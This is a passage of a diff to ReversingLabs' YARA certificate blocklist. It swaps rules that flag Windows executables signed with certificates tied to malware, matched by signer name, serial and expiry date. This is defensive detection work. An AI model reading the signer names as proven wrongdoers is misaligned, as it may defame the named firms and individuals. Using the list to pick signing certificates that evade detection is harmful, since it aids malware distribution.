"https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16510-L16526" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10624-L10642" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "7f2a6c61ae82fec6829924d11190da776aebdd3d72c7e001fdc29b215649261c" + logic_hash = "38e38acfbfbf63b7179d2f8656f70224afa9269a7bdecd10ccbbbd92a6a216d3" score = 75 quality = 90 tags = "INFO, FILE" @@ -29021,21 +51415,21 @@ rule REVERSINGLABS_Cert_Blocklist_6Eb02Ac2Beb9611Ed57Eb12E : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "\\xE6\\x9D\\xA8\\xE5\\x87\\x8C\\xE4\\xBC\\xAF\\xE4\\xB9\\x90\\xE7\\xBD\\x91\\xE7\\xBB\\x9C\\xE7\\xA7\\x91\\xE6\\x8A\\x80\\xE6\\x9C\\x89\\xE9\\x99\\x90\\xE5\\x85\\xAC\\xE5\\x8F\\xB8" and pe.signatures [ i ] . serial == "6e:b0:2a:c2:be:b9:61:1e:d5:7e:b1:2e" and 1585023767 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "VERIFIED SOFTWARE LLC" and ( pe.signatures [ i ] . serial == "00:b3:39:1a:6c:1b:3c:68:36:53:39:59:e2:38:4a:b4:ca" or pe.signatures [ i ] . serial == "b3:39:1a:6c:1b:3c:68:36:53:39:59:e2:38:4a:b4:ca" ) and 1595462400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_010000000001297Dba69Dd : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_05D50A0E09Bb9A836Ffb90A3 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "f6a63e79-4dde-590f-ad65-ba9cc29ff48c" + id = "f2e0959f-3bc6-5552-8f7a-f84672fb597d" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16528-L16544" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10644-L10660" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "bbc3e740d5043d1811ff44c7366c69192fb78c95215b30fd4f4c782812ad591c" + logic_hash = "1bd1960cd6dd8bf83472dc2b1809b84ceb3db68a5e6c3ba68f28ad922230b2ed" score = 75 quality = 90 tags = "INFO, FILE" @@ -29045,21 +51439,21 @@ rule REVERSINGLABS_Cert_Blocklist_010000000001297Dba69Dd : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "ROSSO INDEX K.K." and pe.signatures [ i ] . serial == "01:00:00:00:00:01:29:7d:ba:69:dd" and 1277713154 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Toliz Info Tech Solutions INC." and pe.signatures [ i ] . serial == "05:d5:0a:0e:09:bb:9a:83:6f:fb:90:a3" and 1643892810 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_7Def22Ef4C645B1Decfb36B6D3539Dbf : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_0A2787Fbb4627C91611573E323584113 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "aeb10a64-633c-5fc6-87af-360e1a402ad4" + id = "64848927-6a60-5ea9-bae5-7d15c3f35ca6" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16546-L16562" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10662-L10678" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "655ed87ee65f937c7cec95085fe612f8d733e0853c87aa50b4aa1fda9e5f7a5d" + logic_hash = "efa352beafb56b95a89554bc8929f8e01a4da46eef1f6cf8a1487a2a06bc1b3e" score = 75 quality = 90 tags = "INFO, FILE" @@ -29069,21 +51463,21 @@ rule REVERSINGLABS_Cert_Blocklist_7Def22Ef4C645B1Decfb36B6D3539Dbf : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Beijing Caiyunshidai Technology Co., Ltd." and pe.signatures [ i ] . serial == "7d:ef:22:ef:4c:64:5b:1d:ec:fb:36:b6:d3:53:9d:bf" and 1474416000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "exxon.com" and pe.signatures [ i ] . serial == "0a:27:87:fb:b4:62:7c:91:61:15:73:e3:23:58:41:13" and 1640822400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_3E39C2Ccc494438Bb8C2560F : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_1D36C4F439D651503589318F : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "87477ad5-fc7e-5407-9c6e-bef3d4d8981d" + id = "f72b8e2c-b799-5aec-a69a-e42cdb3e2ae1" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16564-L16580" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10680-L10696" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "3b4a55149b3895eeea5f96297d1fc9787eb74e2fcef8170148ef1a2ced334311" + logic_hash = "73dc3c01041d50100a8d5519afe1a80f470c30175f9ad1bf76ac287ac199a959" score = 75 quality = 90 tags = "INFO, FILE" @@ -29093,21 +51487,21 @@ rule REVERSINGLABS_Cert_Blocklist_3E39C2Ccc494438Bb8C2560F : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "VANKY TECHNOLOGY LIMITED" and pe.signatures [ i ] . serial == "3e:39:c2:cc:c4:94:43:8b:b8:c2:56:0f" and 1466142876 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "REDWOOD MARKETING SOLUTIONS INC." and pe.signatures [ i ] . serial == "1d:36:c4:f4:39:d6:51:50:35:89:31:8f" and 1651518469 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_6E3B09F43C3A0Fd53B7D600F08Fae2B5 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_26F855A25890B749578F13E4B9459768 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "66025c6e-5d85-5660-87f1-3094a536bbe2" + id = "d873b0d4-dff5-5ee2-a70f-b067602b217e" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16582-L16598" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10698-L10714" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "86b06519858dce4b77cb870905297a1fd1c767053fd07c0b0469eb7fc3ba6b32" + logic_hash = "35bfa39ef8f03d10af884f288278ea6ad3aff31cbae111057c2b619c6dc0a752" score = 75 quality = 90 tags = "INFO, FILE" @@ -29117,21 +51511,21 @@ rule REVERSINGLABS_Cert_Blocklist_6E3B09F43C3A0Fd53B7D600F08Fae2B5 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Divisible Limited" and pe.signatures [ i ] . serial == "6e:3b:09:f4:3c:3a:0f:d5:3b:7d:60:0f:08:fa:e2:b5" and 1507248000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Boo\\xE2\\x80\\x99s Q & Sweets Corporation" and pe.signatures [ i ] . serial == "26:f8:55:a2:58:90:b7:49:57:8f:13:e4:b9:45:97:68" and 1645401600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_21220646C639D62C16992F46 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_0F1Ae2239Bb96C5Aef49D0Ae50266912 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "b80b1832-6bfa-555b-8462-cd17f9e5e0e1" + id = "44c878ab-75b2-5cd3-a019-94982a508e0f" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16600-L16616" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10716-L10732" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "87202c29867e6410d59c1e3b5ab09a24ebac5c68c61d7b932b91a91dcf3707e2" + logic_hash = "4f88df4fc2f4cd89aa177ce09caab3e2660267ae883f7ab54c22a9ba1657bad0" score = 75 quality = 90 tags = "INFO, FILE" @@ -29141,21 +51535,21 @@ rule REVERSINGLABS_Cert_Blocklist_21220646C639D62C16992F46 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Sivi Technology Limited" and pe.signatures [ i ] . serial == "21:22:06:46:c6:39:d6:2c:16:99:2f:46" and 1466130984 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Aarav Consulting Inc." and pe.signatures [ i ] . serial == "0f:1a:e2:23:9b:b9:6c:5a:ef:49:d0:ae:50:26:69:12" and 1653004800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_738663F2C9E4Adb3Ad5306Aa5E7Cc548 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_1Deea179F5757Fe529043577762419Df : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "9fa41321-9736-5e67-b561-005b6d893e3f" + id = "ef29c813-e914-5766-990f-76c14d18ec79" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16618-L16634" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10734-L10750" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "518a22e31432ee42e6aceb861815f7f9e84f2430b7fb3a78b498e45c584584ab" + logic_hash = "67c3d3496caf54ca0b1afc4d1dcc902e2f3632ac6708f85e163d427b567d098f" score = 75 quality = 90 tags = "INFO, FILE" @@ -29165,21 +51559,21 @@ rule REVERSINGLABS_Cert_Blocklist_738663F2C9E4Adb3Ad5306Aa5E7Cc548 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "GIN-Konsalt" and pe.signatures [ i ] . serial == "73:86:63:f2:c9:e4:ad:b3:ad:53:06:aa:5e:7c:c5:48" and 1498435200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "SPIRIT CONSULTING s. r. o." and pe.signatures [ i ] . serial == "1d:ee:a1:79:f5:75:7f:e5:29:04:35:77:76:24:19:df" and 1645401600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_4280F2C8Ce1D98E5F8Da7Ecb005Eeae5 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_5B1F9Ec88D185631Ab032Dbfd5166C0D : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "559dc522-bc23-5716-b8ad-9e9df102936b" + id = "51c596cd-3033-51ef-914f-310d2bbfbd5f" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16636-L16652" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10752-L10768" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "4cc8f00a9704f595f3e48375942a19cd6f8d6c0e53afc932a61f5a4326be4bcb" + logic_hash = "dec9d43c6911deb5f35c45692bfd6ef47f85d955f5e59041e58a1f0d2fc306e3" score = 75 quality = 90 tags = "INFO, FILE" @@ -29189,21 +51583,21 @@ rule REVERSINGLABS_Cert_Blocklist_4280F2C8Ce1D98E5F8Da7Ecb005Eeae5 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Beijing Caiyunshidai Technology Co., Ltd." and pe.signatures [ i ] . serial == "42:80:f2:c8:ce:1d:98:e5:f8:da:7e:cb:00:5e:ea:e5" and 1476316800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "TOPFLIGHT GROUP LIMITED" and pe.signatures [ i ] . serial == "5b:1f:9e:c8:8d:18:56:31:ab:03:2d:bf:d5:16:6c:0d" and 1656028800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_2946397Be9C5Ae44E95C99Af : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_58Af00Ce542760Fc116B41Fa92E18589 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "46bc3ade-544c-5ee1-8d5d-4b8a269120c9" + id = "bb58ae8d-ef28-5644-abe8-2d4d8c892e95" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16654-L16670" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10770-L10786" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "b7b4925482fcc47dea81eb3d84af31cc572f1b19080b98dda330b0bf6d7c80f4" + logic_hash = "0ff773d252e5e0402171ae15d7ab43bcfd313eb8c326ed5f128a89ec43386a52" score = 75 quality = 90 tags = "INFO, FILE" @@ -29213,21 +51607,21 @@ rule REVERSINGLABS_Cert_Blocklist_2946397Be9C5Ae44E95C99Af : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "VANKY TECHNOLOGY LIMITED" and pe.signatures [ i ] . serial == "29:46:39:7b:e9:c5:ae:44:e9:5c:99:af" and 1476092708 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "DICKIE MUSDALE WINDFARM LIMITED" and pe.signatures [ i ] . serial == "58:af:00:ce:54:27:60:fc:11:6b:41:fa:92:e1:85:89" and 1654819200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_2Df453588177Cf1C0C297Ff4 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_25Ba18A267D6D8E08Ebc6E2457D58D1E : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "c3a18989-239e-56d7-b1c2-92895c02b7d8" + id = "eb06576e-11ea-58ba-aa19-68c161f6aa68" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16672-L16688" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10788-L10804" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "b0c82388fd87a89841d190ce4020cc5a2ea21c9d765ceca6bc25d64162479231" + logic_hash = "174fe170c26a8197486e7b390d9fce4da61fb68ee5dc9486d43dbeb3cf659c3a" score = 75 quality = 90 tags = "INFO, FILE" @@ -29237,21 +51631,21 @@ rule REVERSINGLABS_Cert_Blocklist_2Df453588177Cf1C0C297Ff4 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Shenzhen Yunhuitianxia Technology Co.,Ltd." and pe.signatures [ i ] . serial == "2d:f4:53:58:81:77:cf:1c:0c:29:7f:f4" and 1479735173 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "5Y TECHNOLOGY LIMITED" and pe.signatures [ i ] . serial == "25:ba:18:a2:67:d6:d8:e0:8e:bc:6e:24:57:d5:8d:1e" and 1648684800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_0619C5E39A4Fc60A32F9B07F6A4Ca328 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_12Df5Ff3460979Cec1288D874A9Fbf83 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "ae3ef9cf-4b67-5cb8-9c9b-3edb95da222c" + id = "9158c9a5-37fc-54bc-9601-3aa347a421ab" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16690-L16706" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10806-L10822" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "75e3dfd593d7fdc268de54430be617c015957a624f2ca36bc0036d4cbde5b686" + logic_hash = "3d4b5e56962d04bc35451eeab4c1870c8653c9afcbb28dc6bad7cfb1711e9df1" score = 75 quality = 90 tags = "INFO, FILE" @@ -29261,21 +51655,21 @@ rule REVERSINGLABS_Cert_Blocklist_0619C5E39A4Fc60A32F9B07F6A4Ca328 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Yuanyuan Zhang" and pe.signatures [ i ] . serial == "06:19:c5:e3:9a:4f:c6:0a:32:f9:b0:7f:6a:4c:a3:28" and 1475884800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "FORWARD MUSIC AGENCY SRL" and pe.signatures [ i ] . serial == "12:df:5f:f3:46:09:79:ce:c1:28:8d:87:4a:9f:bf:83" and 1599091200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_2Bffef48E6A321B418041310Fdb9B0D0 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_Df2547B2Cab5689A81D61De80Eaaa3A2 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "6a29551f-8359-5394-9acd-00c3b25d7064" + id = "1e76a088-b0f2-54d6-b730-77552c74d7bd" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16708-L16724" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10824-L10842" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "30a079b55b75b292f7af4f5ae99184cbb3cca1ce4cf20f2f5c961b533673db00" + logic_hash = "cde89ae5b77ff6833fe642bdd74e81763ef068e31c07e7881906e4e4a5939942" score = 75 quality = 90 tags = "INFO, FILE" @@ -29285,21 +51679,21 @@ rule REVERSINGLABS_Cert_Blocklist_2Bffef48E6A321B418041310Fdb9B0D0 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "A&D DOMUS LIMITED" and pe.signatures [ i ] . serial == "2b:ff:ef:48:e6:a3:21:b4:18:04:13:10:fd:b9:b0:d0" and 1554681600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "FORWARD MUSIC AGENCY SRL" and ( pe.signatures [ i ] . serial == "00:df:25:47:b2:ca:b5:68:9a:81:d6:1d:e8:0e:aa:a3:a2" or pe.signatures [ i ] . serial == "df:25:47:b2:ca:b5:68:9a:81:d6:1d:e8:0e:aa:a3:a2" ) and 1657756800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_34Ec9565805F34204C6966Fb81E36Ba1 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_28B691272719B1Ee : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "bd032608-8622-5c7a-a3a7-808d73e611d7" + id = "8f1d125a-de0f-525b-8dac-702bc123cc53" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16726-L16742" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10844-L10860" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "e434a02f5b9b22a25d8fe7a0bb7bd81b1cd8bc5356b4b626e3bfceb3f554a085" + logic_hash = "0bd973f415b7cfa0858c705c4486da9f181c7259af01d1cff486fb6b8e8e775b" score = 75 quality = 90 tags = "INFO, FILE" @@ -29309,21 +51703,21 @@ rule REVERSINGLABS_Cert_Blocklist_34Ec9565805F34204C6966Fb81E36Ba1 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Xin Zhou" and pe.signatures [ i ] . serial == "34:ec:95:65:80:5f:34:20:4c:69:66:fb:81:e3:6b:a1" and 1476921600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "2021945 Ontario Inc." and pe.signatures [ i ] . serial == "28:b6:91:27:27:19:b1:ee" and 1616410532 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_B2B934B7F01E0Ac1E577814992243709 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_1C897216E58E83Cbe74Ad03284E1Fb82 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "19930e7b-09cb-5c04-b838-3d8d73ba194b" + id = "8805805d-312d-5bd4-94da-c18270ac26bf" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16744-L16762" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10862-L10878" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "37b254ab76d144c09cc7b622dba59f5e372bf01ae12ce260a06143abb52062f6" + logic_hash = "6b3b2708d3a442fa6425e60ae900c94fc22fbfdb47f290ff56e9d349d99fd85f" score = 75 quality = 90 tags = "INFO, FILE" @@ -29333,21 +51727,21 @@ rule REVERSINGLABS_Cert_Blocklist_B2B934B7F01E0Ac1E577814992243709 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "MS CORP SOFTWARE LTD" and ( pe.signatures [ i ] . serial == "00:b2:b9:34:b7:f0:1e:0a:c1:e5:77:81:49:92:24:37:09" or pe.signatures [ i ] . serial == "b2:b9:34:b7:f0:1e:0a:c1:e5:77:81:49:92:24:37:09" ) and 1590710400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "M-Trans Maciej Caban" and pe.signatures [ i ] . serial == "1c:89:72:16:e5:8e:83:cb:e7:4a:d0:32:84:e1:fb:82" and 1639119705 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_3A1B397Fd9451E3B5891Fc69681Ed73D : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_5A364C4957D93406F76321C2316F42F0 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "6bdba43f-4003-5807-9adc-20691fbc8d14" + id = "49e36ae5-25f0-5e1d-82f0-c7ada2b4d914" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16764-L16780" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10880-L10896" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "ca43c7bacd8cb5a896c3135abf4a131bdb4a7f5093e64c8d1df743fad0c1c64a" + logic_hash = "fe3a2b906debb3f03e6a403829fca02c751754e9a02442a962c66defb84aed83" score = 75 quality = 90 tags = "INFO, FILE" @@ -29357,21 +51751,21 @@ rule REVERSINGLABS_Cert_Blocklist_3A1B397Fd9451E3B5891Fc69681Ed73D : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Yongli Zhang" and pe.signatures [ i ] . serial == "3a:1b:39:7f:d9:45:1e:3b:58:91:fc:69:68:1e:d7:3d" and 1470614400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 